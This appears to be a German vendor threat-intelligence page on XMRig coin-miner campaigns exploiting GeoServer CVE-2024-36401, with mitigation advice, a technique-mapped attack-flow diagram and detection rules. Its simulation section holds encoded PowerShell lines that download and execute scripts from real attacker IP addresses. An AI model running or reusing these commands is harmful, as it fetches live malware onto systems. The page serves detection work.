GeoServer unter Angriff: Malware Coin Miner Kampagnen
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Bedrohungsakteure nutzen die GeoServer-Schwachstelle für Remote-Code-Ausführung CVE-2024-36401, um Kryptowährungs-Miner und NetCat auf ungepatchten Servern zu installieren. Die Aktivität stützt sich auf PowerShell, Bash und certutil, um XMRig von mehreren bösartigen Domains und IP-Adressen herunterzuladen und zu starten. Mehrere Downloader-Skripte und Dropper werden verwendet, häufig in ZIP-Archiven verpackt und als Dienste über NSSM gespeichert. Das Hauptziel ist es, Rechenressourcen für unbefugtes Mining zu beschlagnahmen.
Untersuchung
Der Bericht skizziert drei Varianten (A, B, C), die kodierte PowerShell, auf Bash basierende Abrufskripte und certutil verwenden, um Miner-Nutzlasten von pool.supportxmr.com und mehreren aaaaaaaaa.cyou-Subdomains abzurufen. Verteilungsmethoden umfassen Batch-Skripte, ZIP-Bundles und einen maßgeschneiderten Downloader namens systemd zusammen mit HTTP-Basic-Authentifizierungsdaten. Analysten extrahierten wichtige Indikatoren—URLs, IP-Adressen und Dateinamen—zur Unterstützung der Erkennung und des Umfangs.
Abschwächung
Wenden Sie GeoServer-Patches an, die CVE-2024-36401 beheben, und halten Sie die Deployments auf der neuesten unterstützten Version. Blockieren Sie ausgehende Verbindungen zu bekannten Mining-Pools und verwandter Infrastruktur und überwachen Sie verdächtige kodierte PowerShell- oder Bash-Ausführungen. Beschränken Sie die Verwendung von certutil für Nicht-Admin-Kontexte und erzwingen Sie Anwendungs-Whitelistings, um unbefugte Dienste, die über NSSM installiert werden, zu verhindern.
Reaktion
Implementieren Sie Erkennungen für die beobachteten Kommandozeilen, Hashes und Netzwerkindikatoren. Isolieren Sie betroffene Hosts, beseitigen Sie Miner-Dienste und Persistenz-Artefakte und führen Sie einen forensischen Sweep auf sekundäre Nutzlasten durch. Drehen Sie exponierte Anmeldeinformationen um und fordern Sie Multi-Faktor-Authentifizierung für den administrativen Zugriff.
„graph TB %% Klassendefinitionen classDef action fill:#ffcc99 %% Action/Technik-Knoten classDef builtin fill:#e0e0e0 %% Tool- und eingebauter Utility-Knoten classDef malware fill:#ff9999 %% Malware-Knoten %% Knotendefinitionen tech_initial_access[„<b>Technik</b> – <b>T1210 Ausnutzung von Remote-Diensten</b><br/>Beschreibung: Exploitiere CVEu20112024u201136401 in GeoServer für Remote-Code-Ausführung“] class tech_initial_access action tool_geoserver[„<b>Tool</b> – <b>Name</b>: GeoServer<br/><b>Schwachstelle</b>: CVEu20112024u201136401“] class tool_geoserver builtin tech_execution_ps[„<b>Technik</b> – <b>T1059.001 PowerShell</b><br/>Beschreibung: Führe kodierte PowerShell-Befehle aus, um bösartige Skripte herunterzuladen und zu starten“] class tech_execution_ps action tool_powershell[„<b>Tool</b> – <b>Name</b>: PowerShell“] class tool_powershell builtin tech_obfuscation[„<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Beschreibung: Base64u2011verschlüsseln Sie Nutzlasten, die über certutil und Bash ausgeliefert werden“] class tech_obfuscation action tool_certutil[„<b>Tool</b> – <b>Name</b>: certutil“] class tool_certutil builtin tool_bash[„<b>Tool</b> – <b>Name</b>: Bash“] class tool_bash builtin tech_deobfuscation[„<b>Technik</b> – <b>T1140 Dateien oder Informationen entschlüsseln/decodieren</b><br/>Beschreibung: Decodieren Sie Base64-Nutzlasten auf dem Host vor der Ausführung“] class tech_deobfuscation action tech_defense_evasion[„<b>Technik</b> – <b>T1562 Verteidigungen beeinträchtigen</b><br/>Beschreibung: Deaktivieren Sie Windows Defender und fügen Sie Datei-/Pfad-Ausschlüsse hinzu“] class tech_defense_evasion action tool_windows_defender[„<b>Tool</b> – <b>Name</b>: Windows Defender“] class tool_windows_defender builtin tech_persistence[„<b>Technik</b> – <b>T1543.002 Systemprozess erstellen oder ändern: Systemd-Dienst</b><br/>Beschreibung: Verwenden Sie NSSM, um XMRig als persistenten Dienst zu installieren“] class tech_persistence action tool_nssm[„<b>Tool</b> – <b>Name</b>: NSSM (Nonu2011Sucking Service Manager)“] class tool_nssm builtin malware_xmrig[„<b>Malware</b> – <b>Name</b>: XMRig<br/><b>Zweck</b>: Kryptowährungs-Mining“] class malware_xmrig malware tech_impact[„<b>Technik</b> – <b>T1496.001 Rechnerausnutzung</b><br/>Beschreibung: Entwenden Sie CPU-Zyklen zum Minen von Kryptowährungen“] class tech_impact action tech_indirect_execution[„<b>Technik</b> – <b>T1202 Indirekte Befehlsausführung</b><br/>Beschreibung: PowerShell startet zusätzliche Skripte über Bash und Netcat“] class tech_indirect_execution action tool_netcat[„<b>Tool</b> – <b>Name</b>: Netcat“] class tool_netcat builtin %% Verbindungen tool_geoserver u002du002d>|ausgenutzt für| tech_initial_access tech_initial_access u002du002d>|ermöglicht| tech_execution_ps tech_execution_ps u002du002d>|verwendet| tool_powershell tech_execution_ps u002du002d>|herunterladen über| tool_certutil tech_execution_ps u002du002d>|ruft auf| tool_bash tech_execution_ps u002du002d>|ruft auf| tool_netcat tool_certutil u002du002d>|liefert kodierte Nutzlasten an| tech_obfuscation tool_bash u002du002d>|führt kodierte Nutzlasten aus für| tech_obfuscation tech_obfuscation u002du002d>|erfordert| tech_deobfuscation tech_deobfuscation u002du002d>|bereitet Umgebung vor für| tech_defense_evasion tech_defense_evasion u002du002d>|deaktiviert| tool_windows_defender tech_defense_evasion u002du002d>|führt zu| tech_persistence tech_persistence u002du002d>|verwendet| tool_nssm tool_nssm u002du002d>|installiert| malware_xmrig malware_xmrig u002du002d>|führt aus| tech_impact tech_execution_ps u002du002d>|löst aus| tech_indirect_execution tech_indirect_execution u002du002d>|verwendet| tool_bash tech_indirect_execution u002du002d>|verwendet| tool_netcat tech_indirect_execution u002du002d>|erleichtert| malware_xmrig „
Angriffsfluss
Erkennungen
Deaktivieren von Windows Defender-Schutzmaßnahmen (über registry_event)
Ansehen
Verdächtige Änderungen an Windows Defender-Einstellungen (über PowerShell)
Ansehen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (via registry_event)
Ansehen
Schtasks zeigt auf verdächtiges Verzeichnis / Binärdatei / Skript (via cmdline)
Ansehen
Verdächtige Dateien im öffentlichen Benutzerprofil (via file_event)
Ansehen
Download oder Upload über Powershell (via cmdline)
Ansehen
IOCs (SourceIP) zur Erkennung: Malware-Coin-Miner-Angriffe auf GeoServer
Ansehen
IOCs (DestinationIP) zur Erkennung: Malware-Coin-Miner-Angriffe auf GeoServer
Ansehen
IOCs (HashMd5) zur Erkennung: Malware-Coin-Miner-Angriffe auf GeoServer
Ansehen
Erkennen der Nutzung von Certutil für den bösartigen Payload-Download bei Ausnutzung von GeoServer-Schwachstellen [Windows-Prozesserstellung]
Ansehen
Erkennung von kodierten PowerShell-Befehlen, die GeoServer-Schwachstellen angreifen [Windows PowerShell]
Ansehen
Simulationsdurchführung
Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die zum Auslösen der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und sollen die genaue Telemetrie erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer hat eine bösartige Base64-Nutzlast erhalten, die eine anfällige GeoServer-Konfigurationsdatei herunterlädt, ausführt und dann einen Kryptowährungs-Miner ablegt. Um einfache Skriptblock-Erkennung zu vermeiden, verwendet der Angreifer den-encSchalter mit einem vorab kodierten String (eines der zwei bekannten IOCs). Der Angreifer führt die Nutzlast lokal auf einem kompromittierten Windows-Host aus, was einepowershell.exeProzesserstellung verursacht, die den genauen Base64-String enthält, den die Regel überwacht. -
Regressionstestskript:
# ------------------------------------------------- # Regression script to trigger the Sigma rule # ------------------------------------------------- # Payload 1 (matches first IOC) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Payload 2 (matches second IOC) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Bereinigungsbefehle:
# ------------------------------------------------- # Bereinigung - beenden Sie alle verbliebenen PowerShell-Nutzlasten # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force